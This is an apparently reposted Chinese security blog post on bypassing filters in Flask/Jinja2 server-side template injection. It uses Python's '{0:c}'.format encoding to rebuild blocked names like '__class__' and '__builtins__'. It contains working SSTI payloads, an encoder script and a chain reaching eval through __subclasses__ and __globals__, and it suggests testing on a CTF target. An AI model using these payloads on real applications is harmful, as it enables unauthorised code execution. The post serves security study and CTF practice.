利用Python字符串格式化特性绕过ssti过滤
2020-04-09 10:46:36 Author: xz.aliyun.com(查看原文) 阅读量:460 收藏

![]00x0 前置知识

由于这篇文章只是想分享一个绕过的姿势,所以不会再从漏洞原理的层面赘言了,如果想学习ssti的话,已经有很多分析的很透彻的文章。

不过,还是需要讲一点前置的绕过姿势的。

Flask在渲染模板的时候,有

"".__class__===""["__class__"]

这一特性,把上下文变成了[]中的字符串,这个特性经常会被用来绕过点号的过滤。

由于里面的内容已经是字符串了,还可以做一个这样的变形

"".__class__===""["__cla"+"ss__"]

这个操作,经常用来绕过关键字的过滤。也是比较常见的。

那如果下划线也被过滤了呢?

这个也有办法解决

只要使用

|attr(request['args']['x1'])

就能把被过滤的内容带到外部的额外参数

那么 再进一步

如果|也过滤了呢?

接下来,进入文章正题。

00x1 python的格式化字符串特性

python的字符串格式化允许指定ascii码为字符

如图:

))

如果放到flask里,就可以改写成

"{0:c}"["format][98]

构造一个

__class__
{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}
//+号要编码

然后去buu开个flask靶机愉快地测试一下吧

之后的构造就是机械化的操作 这里就不多说了(懒狗发言

我简单写了个编码的脚本 又嫖了个解码的脚本

import re
def product(poc):
    payload=''
    for chr in poc:
        model="'{0:c}'['format'](%d)"%ord(chr)
        payload+=model+'+'
    return payload[:-1]
a = product('__builtins__').replace('+',"%2b")
print(a)
#{{''.__class__.__mro__[1].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']}}

def decode(payload):
    res = re.findall("\(\d+\)", payload)
    for i in res:
        print(chr(int(i[1:-1])), end = "")

decode(a)

算是一种绕过的新思路
缺点嘛 就是长度爆炸+可读性极差

00x2 一点拓展

python的格式化字符方式不只这一种

你问我这个行不行? 那当然是行的 上图

再思考下,还有没有什么可能更好利用的东西呢?

有些对python的语言特性比较熟悉的同学,可能会一拍大腿脱口而出

f-string!

f-string可以把命令执行的结果格式化到字符串中

然而遗憾的是我没成功(tcl

本地开debug看了下 发现flask会把{}当作模板变量的标识符 直接当场去世

暂时没有找到解决的办法 应该是flask的模板渲染引擎本身没有支持这个特性

如果有师傅解决了可以交流一哈(试图白嫖

Python灵活的语言特性带来了很多灵活的姿势,我这篇文章只是抛砖引玉,希望能给师傅们更多的灵感。


文章来源: http://xz.aliyun.com/t/7519
如有侵权请联系:admin#unsafe.sh